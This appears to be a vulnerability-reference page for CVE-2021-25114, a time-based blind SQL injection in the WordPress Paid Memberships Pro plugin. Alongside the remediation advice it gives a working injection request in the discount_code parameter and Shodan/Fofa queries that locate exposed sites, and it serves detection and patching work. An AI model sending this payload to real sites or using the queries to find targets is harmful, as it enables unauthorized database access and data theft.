🔙 목록으로 돌아가기

CVE-2021-25114: WordPress Paid Memberships Pro <2.6.7 - Blind SQL Injection

TitleWordPress Paid Memberships Pro <2.6.7 - Blind SQL Injection
Authortheamanrawat
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to extract sensitive information from the database.
RemediationUpgrade to WordPress Paid Memberships Pro version 2.6.7 or later to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.80944
CVE IDCVE-2021-25114
CWE IDCWE-89
Shodan Queryhttp.html:/wp-content/plugins/paid-memberships-pro/
Fofa Querybody=/wp-content/plugins/paid-memberships-pro/
Tags time-based-sqli cve2021 cve wp-plugin wp sqli paid-memberships-pro wpscan wordpress strangerstudios vkev vuln

🔍 Vulnerability Description

WordPress Paid Memberships Pro plugin before 2.6.7 is susceptible to blind SQL injection. The plugin does not escape the discount_code in one of its REST routes before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

GET /?rest_route=/pmpro/v1/checkout_level&level_id=3&discount_code=%27%20%20union%20select%20sleep(6)%20--%20g HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/3.6.2
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/paid-memberships-pro/js/pmpro-checkout.js HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-25114.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-25114.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A